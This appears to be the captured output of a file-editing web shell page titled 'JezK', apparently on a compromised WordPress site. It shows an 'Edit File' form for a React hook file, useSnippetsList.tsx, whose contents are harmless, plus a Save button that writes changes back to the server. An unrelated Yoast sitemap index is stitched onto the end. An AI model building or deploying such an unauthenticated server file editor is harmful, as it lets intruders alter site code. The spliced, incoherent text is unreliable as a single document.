
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: useSnippetsList.tsx</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import React, { useCallback, useEffect, useState } from &#039;react&#039;
import { createContextHook } from &#039;../utils/hooks&#039;
import { isNetworkAdmin } from &#039;../utils/screen&#039;
import { useRestAPI } from &#039;./useRestAPI&#039;
import type { PropsWithChildren } from &#039;react&#039;
import type { Snippet } from &#039;../types/Snippet&#039;

export interface SnippetsListContext {
	snippetsList: readonly Snippet[] | undefined
	refreshSnippetsList: () =&gt; Promise&lt;void&gt;
}

const [SnippetsListContext, useSnippetsList] = createContextHook&lt;SnippetsListContext&gt;(&#039;SnippetsList&#039;)

export const WithSnippetsListContext: React.FC&lt;PropsWithChildren&gt; = ({ children }) =&gt; {
	const { snippetsAPI: { fetchAll } } = useRestAPI()
	const [snippetsList, setSnippetsList] = useState&lt;Snippet[]&gt;()

	const refreshSnippetsList = useCallback(async (): Promise&lt;void&gt; =&gt; {
		try {
			console.info(&#039;Fetching snippets list&#039;)
			const response = await fetchAll(isNetworkAdmin())
			setSnippetsList(response)
		} catch (error: unknown) {
			console.error(&#039;Error fetching snippets list&#039;, error)
		}
	}, [fetchAll])

	useEffect(() =&gt; {
		refreshSnippetsList()
			.catch(() =&gt; undefined)
	}, [refreshSnippetsList])

	const value: SnippetsListContext = {
		snippetsList,
		refreshSnippetsList
	}

	return &lt;SnippetsListContext.Provider value={value}&gt;{children}&lt;/SnippetsListContext.Provider&gt;
}

export { useSnippetsList }
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->